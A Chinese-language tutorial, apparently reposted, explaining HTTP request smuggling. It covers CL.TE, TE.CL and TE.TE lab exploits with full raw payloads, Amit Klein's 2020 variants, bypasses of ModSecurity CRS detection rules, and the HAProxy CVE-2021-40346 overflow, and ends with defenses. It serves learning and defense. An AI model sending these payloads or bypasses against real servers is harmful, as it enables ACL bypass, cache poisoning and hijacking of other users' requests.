HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式,用以绕过安全控制并获得未经授权的访问,执行恶意活动。在解释http走私的原理之前,要了解下文所说的相关背景知识。
在HTTP1.0中,默认的是短连接,没有正式规定 Connection:Keep-alive 操作,在HTTP/1.1所有连接都是Keep-alive的,也就是默认都是持续连接的(Persistent Connection)。要将连接关闭,HTTP/1.1应用程序必须向报文中添加一个Connection:close。
HTTP1.1客户端加载在收到响应后,除非响应中包含了Connection:close,不然HTTP/1.1连接就仍然维持在打开状态。但是,客户端和服务器仍然可以随时关闭空闲的连接。
HTTP/1.1允许在持久连接上可选的使用请求管道。这是相对于keep-alive连接的又一性能优化。在响应到达之前,可以将多条请求放入队列,当第一条请求通过网络流向服务器时,第二条和第三条请求也可以开始发送了。在高时延网络条件下,这样做可以降低网络的环回时间,提高性能。
HTTP状态码,代表 HTTP消息长度, 用十进制数字表示. 若Content-Length比实际消息长度短, 请求被截断, 而且下一个请求解析出现错乱.。Content-Length比实际消息长度长,请求将无响应直到超时。
代表数据以一系列分块的形式进行发送.。Content-Length 首部在这种情况下应该不被发送。在每一个分块的开头需要添加当前分块的长度, 以十六进制的形式表示,后面紧跟着 \r\n(回车换行) , 之后是分块本身, 后面也是\r\n。终止块是一个常规的分块, 不同之处在于其长度为0。后面跟两个\r\n。
即是Internet Media Type,互联网媒体类型,也叫做MIME类型。在互联网中有成百上千中不同的数据类型,HTTP在传输数据对象时会为他们打上称为MIME的数据格式标签,用于区分数据类型。最初MIME是用于电子邮件系统的,后来HTTP也采用了这一方案。
在HTTP协议消息头中,使用Content-Type来表示请求和响应中的媒体类型信息。它用来告诉服务端如何处理请求的数据,以及告诉客户端(一般是浏览器)如何解析响应的数据,比如显示图片,解析并展示html等等。
为了提升用户浏览速度,很多Web应用程序在用户和应用程序逻辑之间使用多个HTTP服务器,用户将请求发送到前端服务器,此服务器将请求转发到一个或多个后端服务器。而前置服务器与后端服务器的ip 又是相对固定的,所以前后端服务器之间一般重用 TCP 连接来减少频繁 TCP 握手带来的开销。这里就用到了前文所说 HTTP1.1 中的 Keep-Alive 和 Pipeline 特性,具体做法为:前端服务器将HTTP请求一个接一个地发送,接收服务器解析HTTP请求标头以确定一个请求在哪里结束,下一个请求在哪里开始。很明显,这个过程需要前端和后端系统就请求数据包之间的边界的区分达成一致。不然,攻击者可能会发送一个构造的请求数据包,该请求数据包被前端和后端服务器以不同的方式区分。
HTTP规范提供了两种不同的方法来区分数据包的边界,即前面所说的Content-Length标头和Transfer-Encoding标头, HTTP规范指出如果数据包同时存在Content-Length标头和Transfer-Encoding标头,则应该忽略Content-Length标头。但是如果前端服务器和后端服务器对Content-Length标头和Transfer-Encoding标头的处理不同,则它们可能就无法正确区分数据包之间的边界,从而导致http请求走私漏洞。
下图表示一个用户发送蓝色的数据包,一个用户发送绿色的数据包,可以看到蓝色和绿色数据包被正确的区分,不同用户的数据包在后端服务器被正确的还原。
而当攻击者恶意构造数据包时,可能会发生如下的情况,攻击者数据包的一部分,如下图中的红色的部分,在后端服务器被解析为另一个用户数据包的一部分。这个攻击者便成功的利用了http请求走私漏洞。
按服务器数据包边界划分方式的不同,http走私可分为,
指前端支持Content-Length请求头,忽略Transfer-Encoding请求头,而后端遵循RFC2616规定,忽略Content-Length请求头,而去处理Transfer-Encoding请求头。
靶场
第一次发送如下请求:
第二次相同的请求失败:
原因为前置服务器根据 Content-Length划分数据包的边界,但后端根据 Transfer-Encoding: chunked 判断边界,于是将请求主体截断到 0\r\n\r\n,造成数据包中的一部分,留在缓冲区中等待剩余的请求。如果此时其他用户此时发送了一个 GET 请求,就会与此拼接成一个畸形的qiGET开头的数据包,造成服务器解析异常。
前端服务器支持Transfer-Encoding标头忽略Content-Length标头,而后端服务器支持Content-Length标头忽略ransfer-Encoding标头。
发送如下数据包
POST / HTTP/1.1
Host: acea1f011f5c3506c0122f5900d20038.web-security-academy.net
Cookie: session=dcOCx20R8JaLsuzqg0NZZ8Pfxz1ZsEM3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Te: trailers
Connection: close
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
前端服务器按Transfer-Encoding: chunked区分数据包,故发送的内容为
POST / HTTP/1.1
Host: acea1f011f5c3506c0122f5900d20038.web-security-academy.net
Cookie: session=dcOCx20R8JaLsuzqg0NZZ8Pfxz1ZsEM3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Te: trailers
Connection: close
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
而后端服务器按Content-Length: 4区分数据包,固有
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
留在缓冲区中等待剩余的请求,与下次的请求数据包拼接造成下次请求异常
前端服务器和后端服务器都支持Transfer-Encoding标头,但是可以通过对标头进行某种方式的混淆来诱导其中一台服务器不对其进行处理。
请求报文如下:
POST / HTTP/1.1
Host: ac691f711f158e57c0eb150b00e800d3.web-security-academy.net
Cookie: session=FD6bM1B1YaIXirwaQDv6jTPCIx54Lb8I
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
前端服务器和后端服务器本来都支持Transfer-Encoding标头,由于数据包不规范,造成前端服务器按Transfer-Encoding: chunked处理,发送的内容为:
POST / HTTP/1.1
Host: ac691f711f158e57c0eb150b00e800d3.web-security-academy.net
Cookie: session=FD6bM1B1YaIXirwaQDv6jTPCIx54Lb8I
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
后端按受到Transfer-encoding: cow影响,按Content-Length: 0处理,固有:
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
留在缓冲区中等待剩余的请求,与下次的请求数据包拼接造成下次请求异常。
漏洞变种及crs规则绕过部分来自于2020黑客会议名为
HTTP Request Smuggling in 2020 – New Variants, New Defenses and New Challenges
的报告,SafeBreach的安全研究副总裁Amit Klein展示了这一发现。目前报告所说漏洞已经被修复,但了解这些内容可以加深对http走私的了解,以下内容为个人理解,如有错误,欢迎交流。
Klein公开的新变体涉及使用各种代理服务器组合,包括在Web服务器模式下的Aprelium的Abyss,Microsoft IIS,Apache和Tomcat,以及在HTTP代理模式下的Nginx,Squid,HAProxy,Caddy和Traefik。
对形如:
Content-Length abcde: 20
有些服务器会视为有效的Content-Length头,有些则会忽略该头,利用这点差异,可构造如下数据包
POST /hello.php HTTP/1.1
Host: www.example.com
Connection: Keep-Alive
Content-Length: 41
Content-Length abcde: 3
barGET /poison.html HTTP/1.1
Something: GET /welcome.html HTTP/1.1
Host: www.example.com
若Squid为前端服务器,Abyss为后端服务器。
Squid将忽略请求头Content-Length abcde,并使用Content-Length: 41,因此正文被全部发到Abyss的缓存中。Abyss将Content-Length kuku视为一个有效的Content-Length头,并因为是处于更后位置的Content-Length头,Abyss会使用它,故有以下数据被留在缓存中,视为新的请求。
GET /poison.html HTTP/1.1
Something: GET /welcome.html HTTP/1.1
Host: www.example.com
Abyss获取HTTP请求时,如果请求的正文长度小于指定的内容长度值,它会等待30秒来完成请求,然后调用
后端脚本,丢弃剩余的正文并继续执行下一个请求。
构造以下数据包:
POST /hello.php HTTP/1.1
Host: foo.com
Connection: Keep-Alive
Content-Length Kuku: 33GET /a.html HTTP/1.1
Something:GET /b.html HTTP/1.1
Host: foo.co
若Squid为前端服务器,Abyss为后端服务器。
Squid认为Content-Length Kuku头无效,视该数据包为Content-Length:0的数据包,相当于发送POST /hello.php HTTP/1.1和GET /a.html HTTP/1.1两个请求,而Abyss将Content-Length kuku视为一个有效的Content-Length头,等待30秒,将
POST /hello.php HTTP/1.1
Host: foo.com
Connection: Keep-Alive
Content-Length Kuku: 33
GET /a.html HTTP/1.1
Something:
看为一个请求
GET /b.html HTTP/1.1
Host: foo.co
被解释为第二个请求。
POST /hello.php HTTP/1.1
Host: foo.com
Connection: Keep-Alive
[CR]Content-Length: 33GET /a.html HTTP/1.1
Something: GET /b.html HTTP/1.1
Host: foo.com
若Spuid为前端,Abyss为后端,由于Spuid忽略[CR]Content-Length: 33请求头,content-Length的值被认为是0,GET /a.html HTTP/1.1被单独发送,而Abyss不忽略,将造成与变体二相似的后果。
ModSecurity是一个免费、开源的Web(apache、nginx、IIS)模块,可以充当Web应用防火墙(WAF)。ModSecurity是一个入侵探测与阻止的引擎.它主要是用于Web应用程序所以也可以叫做Web应用程序防火墙.ModSecurity的目的是为增强Web应用程序的安全性和保护Web应用程序避免遭受来自已知与未知的攻击
OWASP是一个安全社区,开发和维护着一套免费的应用程序保护规则,这就是所谓OWASP的ModSecurity的核心规则集(即CRS)。ModSecurity之所以强大就在于OWASP提供的规则,可以根据自己的需求选择不同的规则,当然ModSecurity还有商用的规则。
OWASP规则集: https://github.com/SpiderLabs/owasp-modsecurity-crs
mod_security 的CRS3.2.0攻击检测规则对HTTP请求走私有一些非常基本的规则:
920(协议执行):对请求行格式(920100)的基本检查。(我的攻击不基于此)
920(协议执行):检查Content-Length值是否全为数字(920160)。(我的攻击不基于此)
920(协议执行):“不接受有GET或HEAD请求的正文”(920170)。(我的攻击不基于此)
920(协议攻击):“要求在每个POST请求中提供Content-Length或者Transfer-Encoding”(920180)。(仅禁止变体2的攻击)
921(协议攻击):“此规则在Content-Length或Transfer-Encoding请求头中查找逗号字符”(921100)。(我的攻击不基于此)
921(协议攻击):在HTTP请求体中,CR或LF后跟HTTP动词,如GET/POST(921110)。(变体1没有这样做)
921(协议攻击):在正文或cookie的任何位置,查找CR/LF后面是 Content-Length或 Content-Type Set-Cookie Location)(921120)。(我的攻击不基于此)
921(协议攻击):“HTTP响应分割”——在正文或cookies的任何位置寻找非字母数字后跟着 HTTP/0.9 HTTP/1.9 HTTP/1.0或HTTP/1.1或<html或<mate(921130)。(禁止我所有的攻击)
921(协议攻击):在请求头中查找CR/LF(921140)(影响变体1和2,当使用CR时)
921(协议攻击):“检测参数名称中的换行符”(921150)。(禁止我所有的攻击)
针对 921(协议攻击):“检测参数名称中的换行符”(921150)。会检测提交的参数名,不允许参数名中包含有换行符,为了绕过这一规则,可以将提交的数据转化为参数值,如将变体一改为如下绕过
Connection: Keep-Alive
Content-Length: 41
Content-Length abcde: 3
xy=GET /poison.html HTTP/1.1
Something: GET /welcome.html HTTP/1.1
Host: www.example.com
针对921(协议攻击):“HTTP响应分割”——在正文或cookies的任何位置寻找非字母数字后跟着 HTTP/0.9 HTTP/1.9 HTTP/1.0或HTTP/1.1或<html或<mate(921130)。
该规则禁止HTTP正文部分有HTTP/0.9 ,HTTP/1.9 ,HTTP/1.0,HTTP/1.1等内容以防御http走私攻击。但是HTTP/1.2没有在禁止之列,故可以通过HTTP/1.2来绕过。
而大多数网络服务器会把 HTTP/1.2请求当作 HTTP/1.1处理。IIS、Apache、nginx、node.js、Abyss将HTTP/1.2视为HTTP/1.1。Squid, HAProxy, Caddy 、Traefik将HTTP/1.2转化为HTTP/1.1。
变体1包含HTTP/1.2的payload如下:
POST /hello.php HTTP/1.1
Host: foo.com
Connection: Keep-Alive
Content-Length: 36
Content-Length Kuku: 3xy=GET /a.html HTTP/1.2
Something: GET /b.html HTTP/1.1
Host: foo.com
将触发一些应用程序级别规则(“Unix direct remote command execution”——932150)(很长的正则匹配规则。感兴趣的可以去分析,地址),可通过变形为下面的形式来绕过。
POST /hello.php HTTP/1.1
Host: foo.com
User-Agent: foo
Accept: */*
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Content-Length Kuku: 3
barGET http://foo.com/a.html?= HTTP/1.2
Something: GET /b.html HTTP/1.1
Host: foo.com
User-Agent: foo
Accept: */*
使用Content-Type: text/plain,来绕过 crs paranoia_level≤2 (默认一级,最高三级)检查
POST /hello.php HTTP/1.1
Host: foo.com
User-Agent: foo
Accept: */*
Connection: Keep-Alive
Content-Type: text/plain
Content-Length: 36
Content-Length Kuku: 3barGET /a.html HTTP/1.1
Something: GET /b.html HTTP/1.1
Host: foo.com
User-Agent: foo
Accept: */*
在 HAProxy 2.0 到 2.5 中存在整数溢出htx_add_header,可利用该溢出来执行 HTTP 请求走私攻击,从而允许攻击者绕过所有已配置的 http 请求 HAProxy ACL 和可能的其他 ACL。
HAProxy是一个使用C语言编写的自由及开放源代码软件,其提供高可用性、负载均衡,以及基于TCP和HTTP的应用程序代理。
HAProxy特别适用于那些负载特大的web站点,这些站点通常又需要会话保持或七层处理。HAProxy运行在当前的硬件上,完全可以支持数以万计的并发连接。并且它的运行模式使得它可以很简单安全的整合进架构中, 同时可以保护web服务器不被暴露到网络上。
构造形如
Content-Length0a...aa:(长度为270)
将造成溢出,原因为请求会被解析成htx块结构数组,头部被保存为键值对是形式,name为键,value为对应的值,对数据的操作有这个代码blk->info += (value.len << 8) + name.len,将值长度左移8位,并加上键的长度。下图为blk->info的结构:
要求name的长度一个小于8位,即 0-255,但是代码中并没有长度限制,故构造Content-Length0a...aa:(长度为270)将形成溢出影响value.len,构造的头部没有填入value,故value.len原为0,name.len=270,换为二进制为100001110,后8位为00001110=14,故认为name的长度为14,即取Content-Length0a...aa的前14位Content-Length作为name,value.len受溢出影响值变为1,故认为value的长度为1,取Content-Length0a...aa中Content-Length的后一位0作为value的值,故构造出name=Content-Length,value=1的键值对,相当于构造出
Content-Length:0
但是由于在初始解析时,已经存在Content-Length,所以对应长度的正文会被前端服务器正常发送,而后端服务器认为Content-Length:0,相当于HTTP正文中的内容被视为请求。
复现环境:https://github.com/donky16/CVE-2021-40346-POC
移动到下载好的文件目录中,输入以下命令建立环境:
docker-compose build
docker-compose up -d
访问http://172.18.0.1:10001/guest
访问http://172.18.0.1:10001/admin
发现访问失败。
构造以下payload:
发现存在两个返回包,其中第二个为http://172.18.0.1:10001/admin的返回,成功突破限制。
http走私依赖于服务器之间的差距,减少http走私漏洞的方式为尽力避免数据包区分差异,而为了提升用户浏览速度,减少服务器压力,不采用前后端服务器,持续连接是不现实的,故防御方式可为:
1.提前进行http走私漏洞检测。
2.前端服务器和后端服务器使用完全相同的服务器与Web服务器软件,以便它们就请求之间的区分达成一致。
3.使用HTTP / 2进行后端连接。HTTP / 2有以下特性:
使用二进制编码且分割为更小的传输单位(帧,拥有编号,可乱序传输)
同一个来源的所有通信都在一个TCP 连接上完成,此连接可以承载任意数量的双向数据流
https://blog.csdn.net/weixin_50464560/article/details/120458520
https://www.blackhat.com/us-19/briefings/schedule/#http-desync-attacks-smashing-into-the-cell-next-door-15153
https://www.blackhat.com/us-20/briefings/schedule/#http-request-smuggling-in---new-variants-new-defenses-and-new-challenges-20019
https://xz.aliyun.com/t/7501
转自:https://www.freebuf.com/articles/web/331634.html
侵权请私聊公众号删文
热文推荐
欢迎关注LemonSec
觉得不错点个“赞”、“在看”